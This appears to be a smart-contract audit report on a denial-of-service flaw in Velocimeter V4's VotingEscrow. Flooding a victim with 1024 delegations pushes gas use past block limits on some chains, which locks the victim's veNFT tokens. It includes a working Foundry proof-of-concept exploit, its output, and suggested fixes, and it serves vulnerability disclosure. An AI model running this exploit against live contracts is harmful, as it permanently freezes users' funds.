Polite Butter Gazelle

High

# Attacker can DoS `veNFT` holders by delegating `MAX_DELEGATES = 1024` tokens

## Summary

The [README](https://audits.sherlock.xyz/contests/442#:~:text=First%20on%20IOTA%20EVM%2C%20but%20code%20was%20build%20with%20any%20EVM%2Dcompatible%20network%20in%20mind.%20There%20is%20no%20plan%20to%20deploy%20in%20on%20Ethereum%20mainnet) states that the `Velocimeter` contracts will be deployed on any EVM compatible chain, but will not be deployed on Ethereum mainnet.

There is a [known critical issue](https://velodrome.finance/security) with `Velodrome V1` forks that allows an attacker to DoS any `veNFT` holders by permanently locking their tokens, and hasn't been fixed in `Velocimeter V4`.

An attacker can delegate the locked balance of their `veNFT` to an innocent user until it reaches `MAX_DELEGATES`, where on some chains will revert any transfer/mint/burn calls due to out of gas error.

## Vulnerability Detail

`VotingEscrow::delegate` allows users to transfer the balance of their locked `veNFT` amount to anyone (also can be done by simply transferring the NFT):

[VotingEscrow.sol#L1488-L1505](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1488-L1505)
```javascript
    function _delegate(address delegator, address delegatee) internal {
        /// @notice differs from `_delegate()` in `Comp.sol` to use `delegates` override method to simulate auto-delegation
        address currentDelegate = delegates(delegator);

        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);
        _moveAllDelegates(delegator, currentDelegate, delegatee);
    }

    /**
     * @notice Delegate votes from `msg.sender` to `delegatee`
     * @param delegatee The address to delegate votes to
     */
    function delegate(address delegatee) public {
        if (delegatee == address(0)) delegatee = msg.sender;
        return _delegate(msg.sender, delegatee);
    }

```

`MAX_DELEGATES` is set to `1024`:

[VotingEscrow.sol#L1266)](https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1266)
```javascript
    uint public constant MAX_DELEGATES = 1024; // avoid too much gas
```

As the dev comments suggest, this is too avoid too much gas spent from transfer/mint/burn calls. 

It was found that any user with `MAX_DELEGATES` tokens will use about `23M gas` in any transfer/mint/burn call. However, the gas limit on some EVM compatible chains is < 23M, such as [Moonbeam](https://moonscan.io/block/6727847) and [Gnosis](https://gnosisscan.io/block/35137725).

This will DoS any calls to transfer/mint/burn, which will cause the locked tokens to be permanently stuck in `VotingEscrow`.

An attacker can exploit this by delegating tokens to an innocent user until the amount they hold reaches `MAX_DELEGATES`. 

## Proof of Concept

<details>
<summary>Coded PoC</summary>
<br>

Add the following to `test/VotingEscrow.t.sol` and run `forge test --mt testDelegateLimitAttack -vv`

```javascript
    function testDelegateLimitAttack() public {
        uint256 maxtime = 52 * 7 * 24 * 3600; // 52 weeks
        
        FLOW.mint(address(owner), TOKEN_1M);
        DAI.mint(address(owner), TOKEN_1M);
        FLOW.approve(address(router), TOKEN_1M);
        DAI.approve(address(router), TOKEN_1M);
        router.addLiquidity(address(FLOW), address(DAI), false, TOKEN_1M, TOKEN_1M, 0, 0, address(owner), block.timestamp);

        vm.prank(address(owner));
        flowDaiPair.approve(address(escrow), type(uint256).max);
        uint tokenId = escrow.create_lock(TOKEN_1, 7 days);
        for(uint256 i = 0; i < escrow.MAX_DELEGATES() - 1; i++) {
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 2);
        address fakeAccount = address(uint160(420 + i));
        flowDaiPair.transfer(fakeAccount, 1 ether);
        vm.startPrank(fakeAccount);
        flowDaiPair.approve(address(escrow), type(uint256).max);
        escrow.create_lock(1 ether, maxtime);
        escrow.delegate(address(this));
        vm.stopPrank();
        }
        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 7 days);
        uint initialGas = gasleft();
        escrow.withdraw(tokenId);
        uint gasUsed = initialGas - gasleft();
        console.log("Gas used for withdrawal: ", gasUsed);
    }
```
</details>

### Console Output

```text
Running 1 test for test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testDelegateLimitAttack() (gas: 12491047856)
Logs:
  Gas used for withdrawal:  23677222

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.84s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Impact

Attacker can exploit this issue to cause out of gas error on any EVM-compatible chain with a gas limit <= 23M per block. The impacts are loss of funds, permanent DoS for `veNFT` holders, and tokens stuck in `VotingEscrow` permanently.

## Code Snippet

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1488-L1505

https://github.com/sherlock-audit/2024-06-velocimeter/blob/main/v4-contracts/contracts/VotingEscrow.sol#L1266

## Tool used

Manual Review

## Recommendation

Consider the following options to fix this:

1. Change `MAX_DELEGATES` from 1024 to 128

2. Incorporate pull over push method when moving delegates (i.e., allow user to deny or accept request to receive delegates)

3. Use static balances, as it's done in [Velodrome V2](https://github.com/velodrome-finance/contracts/commit/0b47fe51a4b91fdbcfff0cd8bd2dfba4f9e94e48)